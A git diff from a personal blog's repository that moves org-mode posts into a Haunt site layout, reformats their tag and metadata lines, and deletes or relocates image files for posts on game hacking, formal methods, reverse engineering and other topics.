diff --git a/org/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org b/haunt/posts/understand-game-hacking-in-one-post.org
index b487011..0b2d291 100644
--- a/org/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org
+++ b/haunt/posts/understand-game-hacking-in-one-post.org
@@ -1,6 +1,6 @@
#+TITLE: Understand Game Hacking In One Post
#+DATE: <2017-09-05 Tue 15:06>
-#+TAGS: tutorial, reverse-engineering, video-games, game-hacking, x86, c++, radare2
+#+TAGS: tutorial reverse-engineering video-games game-hacking x86 c++ radare2
At a first glance, it might seem that game cheats like [[https://github.com/AimTuxOfficial/AimTux][AimTux]] are something that
could only be conjured by the most talented of reverse engineers. That was at
diff --git a/org/What I've Learned About Formal Methods In Half a Year/what-ive-learned-about-formal-methods.org b/haunt/posts/what-ive-learned-about-formal-methods.org
index 214fde6..ca32956 100644
--- a/org/What I've Learned About Formal Methods In Half a Year/what-ive-learned-about-formal-methods.org
+++ b/haunt/posts/what-ive-learned-about-formal-methods.org
@@ -1,8 +1,8 @@
#+TITLE: What I've Learned About Formal Methods In Half a Year
#+DATE: <2023-04-10 Mon 07:21>
-#+TAGS: writeup, formal-verification, lean, alloy, lisp, scheme
+#+TAGS: writeup formal-verification lean alloy lisp scheme
#+STARTUP: latexpreview
-#+HAUNT_METADATA: (("meta-tags" . "((\"twitter:card\" . \"summary\") (\"twitter:site\" . \"@0daysfordays\") (\"twitter:creator\" . \"@0daysfordays\") (\"og:description\" . \"A retrospective on a few months of working on a graduate degree in computer science.\") (\"og:image\" . \"https://jakob.space/static/image/opengraph-icon-coq.jpg\"))"))
+#+META-TAGS: (("twitter:card" . "summary") ("twitter:site" . "@0daysfordays") ("twitter:creator" . "@0daysfordays") ("og:description" . "A retrospective on a few months of working on a graduate degree in computer science.") ("og:image" . "https://jakob.space/static/image/opengraph-icon-coq.jpg"))
I started working on my master's degree last September. The goal was to return to my workplace as a domain expert in formal methods -- a topic I knew I was interested in, and yet something I knew practically nothing about. I partially attribute my lack of exposure to the lack of supervised learning opportunities (courses) at my undergraduate institution.[fn:1] Brown has an ample supply of teaching and research faculty who work in the field, though, so I've been taking advantage of that and soaking up as much knowledge as I can. I'm writing this to summarize what I've learned and done through my few months at grad school, and also to touch on what I have yet to learn because, as it turns out, three semesters is not nearly enough time to become a "domain expert" in anything. A beginning practitioner, perhaps, but I'm sure even that's an overly-generous characterization.[fn:2]
diff --git a/haunt/static/image/cbt-2023-04-13.jpg b/haunt/static/image/cbt-2023-04-13.jpg
new file mode 100644
index 0000000..f691e45
--- /dev/null
+++ b/haunt/static/image/cbt-2023-04-13.jpg
Binary files differ
diff --git a/org/Sorry Guys I Have To Troubleshoot My USB Drivers Before I Can Play With You/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png b/haunt/static/image/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png
index 2d993af..2d993af 100644
--- a/org/Sorry Guys I Have To Troubleshoot My USB Drivers Before I Can Play With You/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png
+++ b/haunt/static/image/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png
Binary files differ
diff --git a/org/Bad BEHAVIOR/debug-prints.png b/org/Bad BEHAVIOR/debug-prints.png
deleted file mode 100644
index 538ccec..0000000
--- a/org/Bad BEHAVIOR/debug-prints.png
+++ /dev/null
Binary files differ
diff --git a/org/Bad BEHAVIOR/vanilla-hexen-vulnerability.png b/org/Bad BEHAVIOR/vanilla-hexen-vulnerability.png
deleted file mode 100644
index 510cf5f..0000000
--- a/org/Bad BEHAVIOR/vanilla-hexen-vulnerability.png
+++ /dev/null
Binary files differ
diff --git a/org/Browser Games Aren't an Easy Target/mitmproxy-initial.png b/org/Browser Games Aren't an Easy Target/mitmproxy-initial.png
deleted file mode 100644
index 3b022e7..0000000
--- a/org/Browser Games Aren't an Easy Target/mitmproxy-initial.png
+++ /dev/null
Binary files differ
diff --git a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-firmware-mod.jpg b/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-firmware-mod.jpg
deleted file mode 100644
index 0b2302e..0000000
--- a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-firmware-mod.jpg
+++ /dev/null
Binary files differ
diff --git a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-m2.jpg b/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-m2.jpg
deleted file mode 100644
index 25aefdb..0000000
--- a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-m2.jpg
+++ /dev/null
Binary files differ
diff --git a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-mac.jpg b/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-mac.jpg
deleted file mode 100644
index 2c66f31..0000000
--- a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-mac.jpg
+++ /dev/null
Binary files differ
diff --git a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-manual.jpg b/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-manual.jpg
deleted file mode 100644
index 731735a..0000000
--- a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-manual.jpg
+++ /dev/null
Binary files differ
diff --git a/org/Farewell, Kona, My Life-Long Companion/kona-1.jpg b/org/Farewell, Kona, My Life-Long Companion/kona-1.jpg
deleted file mode 100644
index 79d40dc..0000000
--- a/org/Farewell, Kona, My Life-Long Companion/kona-1.jpg
+++ /dev/null
Binary files differ
diff --git a/org/Farewell, Kona, My Life-Long Companion/kona-2.jpg b/org/Farewell, Kona, My Life-Long Companion/kona-2.jpg
deleted file mode 100644
index 4ce3d51..0000000
--- a/org/Farewell, Kona, My Life-Long Companion/kona-2.jpg
+++ /dev/null
Binary files differ
diff --git a/org/Farewell, Kona, My Life-Long Companion/kona-3.jpg b/org/Farewell, Kona, My Life-Long Companion/kona-3.jpg
deleted file mode 100644
index 16d2b2c..0000000
--- a/org/Farewell, Kona, My Life-Long Companion/kona-3.jpg
+++ /dev/null
Binary files differ
diff --git a/org/Farewell, Kona, My Life-Long Companion/kona-4.jpg b/org/Farewell, Kona, My Life-Long Companion/kona-4.jpg
deleted file mode 100644
index 19e7af9..0000000
--- a/org/Farewell, Kona, My Life-Long Companion/kona-4.jpg
+++ /dev/null
Binary files differ
diff --git a/org/Investigating a Backdoor.SH.SHELLBOT.AA Infection/shellbot-propagation.jpg b/org/Investigating a Backdoor.SH.SHELLBOT.AA Infection/shellbot-propagation.jpg
deleted file mode 100644
index 342364c..0000000
--- a/org/Investigating a Backdoor.SH.SHELLBOT.AA Infection/shellbot-propagation.jpg
+++ /dev/null
Binary files differ
diff --git a/org/Making Your Own Music Player: A Gentle Introduction to Audio Programming/analog-vs-digital.png b/org/Making Your Own Music Player: A Gentle Introduction to Audio Programming/analog-vs-digital.png
deleted file mode 100644
index 6841598..0000000
--- a/org/Making Your Own Music Player: A Gentle Introduction to Audio Programming/analog-vs-digital.png
+++ /dev/null
Binary files differ
diff --git a/org/Pushing Haunt to Its Limits/old-webmention-screenshot.png b/org/Pushing Haunt to Its Limits/old-webmention-screenshot.png
deleted file mode 100644
index 6c4f015..0000000
--- a/org/Pushing Haunt to Its Limits/old-webmention-screenshot.png
+++ /dev/null
Binary files differ
diff --git a/org/Pushing Haunt to Its Limits/rsvp-screenshot.png b/org/Pushing Haunt to Its Limits/rsvp-screenshot.png
deleted file mode 100644
index 9e18992..0000000
--- a/org/Pushing Haunt to Its Limits/rsvp-screenshot.png
+++ /dev/null
Binary files differ
diff --git a/org/Pushing Haunt to Its Limits/web-server-traffic.jpg b/org/Pushing Haunt to Its Limits/web-server-traffic.jpg
deleted file mode 100644
index f24ea09..0000000
--- a/org/Pushing Haunt to Its Limits/web-server-traffic.jpg
+++ /dev/null
Binary files differ
diff --git a/org/Reverse Engineering Babby's First Archive Format/basic-parsing.png b/org/Reverse Engineering Babby's First Archive Format/basic-parsing.png
deleted file mode 100644
index 0513350..0000000
--- a/org/Reverse Engineering Babby's First Archive Format/basic-parsing.png
+++ /dev/null
Binary files differ
diff --git a/org/Reverse Engineering Babby's First Archive Format/binary-dump.png b/org/Reverse Engineering Babby's First Archive Format/binary-dump.png
deleted file mode 100644
index 0a8774c..0000000
--- a/org/Reverse Engineering Babby's First Archive Format/binary-dump.png
+++ /dev/null
Binary files differ
diff --git a/org/Reverse Engineering Babby's First Archive Format/catching-file-reads.png b/org/Reverse Engineering Babby's First Archive Format/catching-file-reads.png
deleted file mode 100644
index 2ce8f62..0000000
--- a/org/Reverse Engineering Babby's First Archive Format/catching-file-reads.png
+++ /dev/null
Binary files differ
diff --git a/org/Reverse Engineering Babby's First Archive Format/xp3-header.png b/org/Reverse Engineering Babby's First Archive Format/xp3-header.png
deleted file mode 100644
index 0fac996..0000000
--- a/org/Reverse Engineering Babby's First Archive Format/xp3-header.png
+++ /dev/null
Binary files differ
diff --git a/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png b/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png
deleted file mode 100644
index 4e9a146..0000000
--- a/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png
+++ /dev/null
Binary files differ
diff --git a/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png b/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png
deleted file mode 100644
index 0bbe5fc..0000000
--- a/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png
+++ /dev/null
Binary files differ
diff --git a/org/The Many Faces of an Undying Programming Language/Lisp Kludge.png b/org/The Many Faces of an Undying Programming Language/Lisp Kludge.png
deleted file mode 100644
index 9c244b9..0000000
--- a/org/The Many Faces of an Undying Programming Language/Lisp Kludge.png
+++ /dev/null
Binary files differ
diff --git a/org/The Many Faces of an Undying Programming Language/lisp-personality-test.png b/org/The Many Faces of an Undying Programming Language/lisp-personality-test.png
deleted file mode 100644
index c3a26f3..0000000
--- a/org/The Many Faces of an Undying Programming Language/lisp-personality-test.png
+++ /dev/null
Binary files differ